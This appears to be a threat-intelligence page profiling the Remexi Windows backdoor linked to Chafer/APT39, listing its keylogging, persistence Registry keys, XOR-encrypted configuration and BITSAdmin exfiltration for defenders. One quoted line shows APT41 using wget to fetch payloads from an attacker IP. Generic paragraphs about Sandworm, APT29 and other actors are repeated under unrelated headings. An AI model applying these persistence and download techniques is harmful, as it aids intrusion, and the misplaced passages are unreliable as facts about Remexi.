Remexi
- Type
- Backdoor
- Capabilities
- KeyloggingExfiltrationPersistenceReconnaissanceDefense evasion
- Platforms
- Windows
Remexi is a Windows backdoor associated with the Iranian espionage group Chafer, also known as APT39. It supports surveillance and information collection on compromised systems by recording keystrokes, collecting clipboard text, capturing screenshots of windows of interest, and gathering usernames. It exfiltrates collected information using BITSAdmin through the same channel used for command-and-control communications.
Remexi executes received WMI commands through WMIC and uses AutoIt and VBScript during its execution process. It maintains persistence through scheduled tasks and machine-wide Registry autorun entries. Its configuration data is XOR-encrypted using 25-character keys and decrypted during execution. These capabilities allow operators to retain access, monitor user activity, and collect information for espionage.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
(Citation: Symantec Chafer Dec 2015)(Citation: Securelist Remexi Jan 2019)(Citation: Symantec Chafer February 2018)
Techniques & procedures
21 distinct techniques documented for this family, organized by ATT&CK tactic.
Execution
5 techniques
Execution
[Remexi](https://attack.mitre.org/software/S0375) executes received commands with wmic.exe (for WMI commands). (Citation: Securelist Remexi Jan 2019)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) silently executes received commands with cmd.exe.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) uses AutoIt and VBS scripts throughout its execution process.(Citation: Securelist Remexi Jan 2019)
Persistence
4 techniques
Persistence
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code>.(Citation: Securelist Remexi Jan 2019)
Privilege Escalation
4 techniques
Privilege Escalation
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) utilizes Run Registry keys in the HKLM hive as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code>.(Citation: Securelist Remexi Jan 2019)
Stealth
3 techniques
Stealth
The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
[Remexi](https://attack.mitre.org/software/S0375) obfuscates its configuration data with XOR.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) decrypts the configuration data using XOR with 25-character keys.(Citation: Securelist Remexi Jan 2019)
Credential Access
1 technique
Credential Access
[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)
Discovery
4 techniques
Discovery
[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.(Citation: Securelist Remexi Jan 2019)
The content repeatedly describes malware and threat actors collecting the victim username, identifying logged-in users, running whoami, query user, quser, or similar commands to determine the current user or user sessions.
Multiple malware families and threat groups are described as collecting the victim username or enumerating logged-on users (e.g., “can collect the username from the victim’s machine”, “enumerates the current user during the initial infection”, “enumerates logged-on users”).
[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system. (Citation: Securelist Remexi Jan 2019)
Collection
4 techniques
Collection
[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.(Citation: Securelist Remexi Jan 2019)
[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)
Command and Control
2 techniques
Command and Control
[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.(Citation: Securelist Remexi Jan 2019)
Examples in the content include: 'APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits,' 'During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads,' and multiple malware families using HTTP GET/POST to download additional payloads or files.
Exfiltration
1 technique
Exfiltration
[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.(Citation: Securelist Remexi Jan 2019)
Observables
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
45 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.